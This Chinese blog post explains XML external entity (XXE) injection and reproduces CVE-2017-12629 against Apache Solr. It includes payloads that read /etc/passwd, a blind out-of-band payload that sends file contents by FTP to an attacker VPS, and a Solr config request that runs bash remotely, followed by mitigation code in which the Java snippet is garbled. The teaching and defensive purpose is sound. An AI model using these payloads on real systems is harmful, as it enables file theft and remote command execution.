浅浅浅浅谈XXE漏洞(附XXE攻击实例CVE-2017-12629)
浅浅浅浅谈XXE漏洞(附XXE攻击实例CVE-2017-12629)
我从未拥有过你⼀秒钟,⼼⾥却失去过你千万次。
XXE漏洞概述:
XXE就是XML外部实体注⼊。当允许引⽤外部实体时,通过构造任意PAYLOAD,导致可读取任意⽂件、命令执⾏、探测内⽹信息、攻击内⽹⽹站等危害。
XXE漏洞基本概念:
主要是对外部实体数据(XML,可⾃定义)进⾏处理时引发的漏洞。
XML 指可扩展标记语⾔,即允许⽤户对⾃⼰的标记语⾔进⾏定义的源语⾔。XML 的设计宗旨是传输数据,⽽⾮显⽰数据。
XML⽂档结构包括XML声明、DTD⽂档类型定义(可选)、⽂档元素。如下图:
不同语⾔⽀持的不同协议
引⼊外部实体⽅式有多种,主要这三个:
(这些都是有回显的,⽆回显建议利⽤数据外带)
1.直接通过DTD外部实体声明
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cat [<!ENTITY cat SYSTEM "file:///etc/passwd" >]>
<a>&cat;</a>
2.通过DTD⽂档引⼊外部DTD⽂档,再引⼊外部实体声明.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cat [<!ENTITY cat SYSTEM "cat/cat.dtd" >]>
<a>&cat;</a>
//dtd⽂件内容 <!ENTITY cat SYSTEM "file:///etc/passwd">
3.通过DTD外部实体声明引⼊外部实体声明
cve漏洞库简单来说就是,先写⼀个外部实体声明,然后引⽤⾃⼰构造的外部实体声明
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cat [<!ENTITY % cat SYSTEM "cat/cat.dtd" > %cat;]>
<a>&cat;</a>
//dtd⽂件内容 <!ENTITY cat SYSTEM "file:///etc/passwd">
⽆回显盲注
判断存在
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "io">
%remote;]>
<root/>
然后在
vps
<!ENTITY % cat"<!ENTITY % send SYSTEM 'ftp://vps的地址:2121/%file;'>"> %cat;
攻击xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cat[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "VPS的IP/xml.dtd">
%dtd;
%send;
]>
即可获取数据
简单利⽤:
任意⽂件读取
命令执⾏
在php中,要求php装有expect扩展,利⽤困难。
等等
漏洞复现:
CVE-2017-12629:
Apache Solr 是⼀个开源的搜索服务器。Solr 使⽤ Java 语⾔开发,主要基于 HTTP 和 Apache Lucene 实现。原理⼤致是⽂档通过Http 利⽤XML加到⼀个搜索集合中。查询该集合也是通过 http收到⼀个XML/JSON响应来实现,主要有两个漏洞XML实体扩展漏洞(XXE)和远程命令执⾏漏洞(RCE)。
XXEPAYLOAD:
select?q={!xmlparser v='<!DOCTYPE a SYSTEM "192.168.43.23:8000"><a></a>'}&wt=xml
RCEPAYLOAD:
注意两点:POST请求和Content-Type: application/json
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"newSearcher",
"name":"newlistener-1",
"class":"solr.RunExecutableListener",
"exe":"bash",
"dir":"/bin/",
"args":["-c", "mkdir /tmp/1111111111"]
}
}
漏洞修复:
使⽤开发语⾔提供的禁⽤外部实体的⽅法
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf = wInstance();
dbf.setExpandEntityReferences(false);
Python
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))过滤⽤户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
余⽣很长,请多指教。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论